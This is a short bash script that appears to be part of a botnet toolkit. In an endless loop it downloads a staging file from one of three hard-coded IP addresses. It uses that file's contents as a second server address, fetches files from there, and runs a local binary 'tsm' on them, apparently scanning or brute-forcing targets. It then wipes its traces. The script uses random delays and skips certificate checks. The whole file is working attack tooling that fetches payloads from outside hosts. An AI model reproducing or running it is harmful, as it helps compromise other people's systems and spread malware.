#!/bin/bash
dir=`pwd`
cd $dir

		while :
		do
		touch v
		rm -rf p
		rm -rf ip
		rm -rf xtr*
		rm -rf a a.*
		rm -rf b b.*
		RANGE=2
		s=$RANDOM
		let "s %= $RANGE"
		if [ $s == 0 ]; then
			sleep $[ ( $RANDOM % 50 )  + 5 ]s
			wget -w 3 -T 10 -t 5 -q --no-check-certificate --limit-rate=20k 31.193.138.74/a/xtr || curl -O -f 31.193.138.74/a/xtr && wget -w 3 -T 10 -t 2 -q --no-check-certificate $(cat<xtr)/a/a || curl -O -f $(cat<xtr)/a/a && wget -w 3 -T 10 -t 2 -q --no-check-certificate $(cat<xtr)/a/b || curl -O -f $(cat<xtr)/a/b && rm -rf xtr
		elif [ $s == 1 ]; then
			sleep $[ ( $RANDOM % 50 )  + 5 ]s
			wget -w 3 -T 10 -t 5 -q --no-check-certificate --limit-rate=20k 141.85.241.113/a/xtr || curl -O -f 141.85.241.113/a/xtr && wget -w 3 -T 10 -t 2 -q --no-check-certificate $(cat<xtr)/a/a || curl -O -f $(cat<xtr)/a/a && wget -w 3 -T 10 -t 2 -q --no-check-certificate $(cat<xtr)/a/b || curl -O -f $(cat<xtr)/a/b && rm -rf xtr
			else
			sleep $[ ( $RANDOM % 50 )  + 5 ]s
			wget -w 3 -T 10 -t 5 -q --no-check-certificate --limit-rate=20k 46.101.217.200/a/xtr || curl -O -f 46.101.217.200/a/xtr && wget -w 3 -T 10 -t 2 -q --no-check-certificate $(cat<xtr)/a/a || curl -O -f $(cat<xtr)/a/a && wget -w 3 -T 10 -t 2 -q --no-check-certificate $(cat<xtr)/a/b || curl -O -f $(cat<xtr)/a/b && rm -rf xtr
		fi		
		sleep 15
		mv b p
		mv a ip
		
		timeout 90m ./tsm -t 175 -s 6 -S 6 p ip

		sleep 3
		rm -rf xtr*
		rm -rf ip
		rm -rf .out
		rm -rf /tmp/t*
		done
exit 0


